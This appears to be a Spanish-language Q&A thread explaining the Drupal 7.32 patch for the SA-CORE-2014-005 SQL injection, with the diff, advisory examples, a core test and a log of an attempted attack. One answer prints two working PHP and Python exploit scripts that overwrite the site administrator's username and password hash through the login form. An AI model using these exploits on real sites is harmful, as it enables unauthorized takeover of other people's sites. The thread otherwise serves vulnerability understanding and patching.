¿Qué tipo de ataques previene el parche para SA-CORE-2014-005 (Drupal 7.32)?

33

Lectura en https://www.drupal.org/node/2357241 y los detalles técnicos en https://www.drupal.org/SA-CORE-2014-005 , así como el parche real que es simplemente:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

Me pregunto qué tipo de solicitud podría hacerse que utiliza este exploit.

Charlie Schliesser
fuente
¿Podemos hacer directamente el cambio en el núcleo? database.incarchivo ?
Hitesh el
@hitesh puedes simplemente parchear database.incdesde el parche anterior (o a mano, obviamente, este es un pequeño cambio) pero también recomendaría parchear tu Drupal central por completo.
Charlie Schliesser el
1
Para aquellos que no se preguntan qué solicitudes explotarían el error, sino cuál es el error en realidad, publiqué una explicación para Programmers.SE .
RomanSt
Incluso después de la actualización, alguien puede colocar archivos .php dentro de mis sitios. También he comprobado menu_router, nada sospechoso. También ejecuté la auditoría del sitio y el drupalgetaddon
AgA

Respuestas:

18

La compañía que encontró el error tiene algunos ejemplos en el Aviso 01/2014: Drupal - Vulnerabilidad de inyección SQL previa a la autenticación :

Extraer:

La función supone que se llama con una matriz que no tiene claves. Ejemplo:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

Lo que resulta en esta declaración SQL

SELECT * from users where name IN (:name_0, :name_1)

con los parámetros name_0 = user1y name_1 = user2.

El problema ocurre si la matriz tiene claves, que no son enteros. Ejemplo:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

Esto da como resultado una consulta SQL explotable:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

con los parámetros: name_test = user2.

Dado que Drupal usa PDO, se permiten múltiples consultas. Por lo tanto, esta inyección SQL se puede utilizar para insertar datos arbitrarios en la base de datos, volcar o modificar datos existentes o descartar toda la base de datos.

Con la posibilidad de INSERTAR datos arbitrarios en la base de datos, un atacante puede ejecutar cualquier código PHP a través de las funciones de Drupal con devoluciones de llamada.

Hans Rossel
fuente
Gracias por compartir, no pude encontrar esto buscando en el tema. The Problem occurs, if the array has keys, which are no integers- esta y la consulta de ejemplo son bastante útiles para comprender esto.
Charlie Schliesser
19

¿Qué pasa con 7.32? Verificando el módulo de prueba. Puede ver que la siguiente prueba se agregó a 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

Esto debería dar una idea más sobre cómo diseñar un ataque.

Prueba de concepto Ya que ha pasado más que suficiente tiempo y hay muchos PoC en la naturaleza.

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

Aquí hay un blog que hace un buen desglose: http://www.volexity.com/blog/?p=83

Fuego digital
fuente
Ese POC no funciona ...
Kyle Browning
¿Puedes publicar un POC con el que un hacker puede reemplazar $ data con array_values ​​($ data) en database.inc?
Hans Rossel
Puedo confirmar que esto funcionó con un sitio de Drupal de vainilla. Eso es lamentable ...
AyeshK
Como @greggles dijo que esto es un poco temprano, no todos tienen el memo todavía. Por favor refrenarse.
pal4life
Pregunta: ¿se requiere "? Q =" para que este ataque funcione? mi servidor deja caer solicitudes con un argumento get de q (o Q o equivalentes codificados en%). Sólo curioso. Hacemos un parche hace un tiempo y no vimos signos de intrusión ni nada, pero me pregunto si tuvimos suerte al rechazar q = solicitudes?
Kasapo
16

Los investigadores que encontraron el error tienen una prueba de concepto. Otros también han desarrollado pruebas de concepto. Sin embargo, a propósito no los publican para tratar de reducir la probabilidad de que sea ampliamente explotado. Debemos respetar esa investigación y moderación y no publicar ejemplos aquí.

Después de que haya pasado un tiempo y los sitios se actualicen, será muy interesante, desde una perspectiva académica, revisar el código de ataque de prueba de concepto. Hasta entonces, es un riesgo innecesario y llamar la atención.

El código en el aviso de SektioinEins no son ejemplos completamente desarrollados de cómo explotarlo. Detallan la debilidad, pero no identifican con precisión cómo explotar realmente el problema.


Han pasado algunas semanas desde que se lanzó el problema y SektionEins ha publicado varias pruebas de conceptos en su blog . Estos son bastante interesantes en comparación con muchas de las otras pruebas de concepto que se han desarrollado ya que dejan muy pocos rastros de su actividad (por ejemplo, nada en la tabla menu_router).

greggles
fuente
4

Puedo confirmar que esta vulnerabilidad funcionará con cada Drupal 7.31 y sitios inferiores, sin importar qué módulos estén activos. Cada forma de drupal podría usarse para explotar esta vulnerabilidad.

La explotación es bastante simple, por lo que PoC ya está en libertad. Pude atacar a mi propio servidor y cambiar las contraseñas de usuario como usuario anónimo en una instalación limpia de Drupal, pero las posibilidades son infinitas.

Este error se conoció hace casi 1 año a través de https://www.drupal.org/node/2146839 pero nadie del equipo de seguridad de Drupal Core respondió.

Pari
fuente
No se informó como un problema de seguridad, ¿verdad?
Alfred Armstrong el
Fue etiquetado con "#security", una prioridad de "mayor", un estado de "necesidad de revisión", e incluyó un parche que básicamente logra lo que hace el parche en 7.32. Quizás el #frente a la "seguridad" limitó a alguien a verlo de otra manera, o tal vez hay demasiados problemas en la cola. Todavía sorprende que nadie haya respondido.
Charlie Schliesser
3
No se informó como un problema de seguridad, por lo que probablemente el equipo de seguridad no lo vio. Pero sí, el tipo no estaba seguro de que fuera un problema de seguridad, por lo que probablemente sea por eso.
Berend de Boer
2
Se informó como una "Solicitud de funciones", ni siquiera como un error. Las nuevas características no se aceptan en la versión estable de Drupal core, por lo que es normal que no se mire. Los problemas de seguridad nunca deben publicarse, hay una página clara sobre cómo informar los problemas de seguridad de Drupal al equipo de seguridad: drupal.org/node/101494
Hans Rossel
4

Me preguntaba cómo podría explotarse esto y cuánto tiempo y esfuerzo tomaría. Por lo tanto, decidí instalar una versión anterior de Drupal 7 en mi servidor local y aplicar ingeniería inversa a este error. Lo que descubrí fue un error impactante que brinda a cualquier persona con conocimientos básicos sobre HTML / SQL un acceso completo a su sitio Drupal.

¡Logré ejecutar la inyección SQL en Drupal 7 usando un usuario anónimo en menos de 30 minutos de intentarlo!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

NOTA: Esto aún no le permitirá iniciar sesión, ya que Drupal usa SHA512 con salt, por lo que no es posible iniciar sesión realmente. Intencionalmente no puse el código aquí, ¡pero obviamente cualquier persona con un poco de conocimiento de Drupal sabrá cómo superar esto y construir la consulta que le dará acceso completo!

Esto abre una pregunta sobre qué tan seguro es Drupal y quién es responsable de algo como esto. Aparentemente, este error se conoció por más de un año ( https://www.drupal.org/node/2146839 ), pero nadie reaccionó en Drupal.org. ¿Accidental o intencionalmente? :)

tamerzg
fuente
1

Es una solución a una vulnerabilidad de inyección SQL en la que se insertan sentencias SQL maliciosas en un campo de entrada para su ejecución y eso podría conducir, por ejemplo, a liberar el contenido de la base de datos. Es importante aplicar esta solución lo antes posible, especialmente porque los usuarios anónimos pueden explotar esta vulnerabilidad.

Si no puede actualizar inmediatamente el equipo de seguridad que tiene, puede aplicar este parche que proporcionará la misma protección hasta que pueda realizar la actualización completa 1 . Además, el equipo de seguridad ha preparado algunas preguntas frecuentes relacionadas con este problema. Poner su sitio en modo de mantenimiento no ayudará y borre la memoria caché después de aplicar la actualización o asegúrese de estar usando 7.32.

Además, debe verificar si su sitio no se ha visto comprometido. Hay algunos sitios que ya informan problemas. Aquí hay una publicación de blog que sugiere cómo puedes comprobar que Actualizar a Drupal 7.32 no es suficiente, es posible que tu sitio ya esté pirateado

Aplico la corrección el 15 de octubre y mis sitios ya informaron que alguien intentó explotar la vulnerabilidad

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
cayerdis
fuente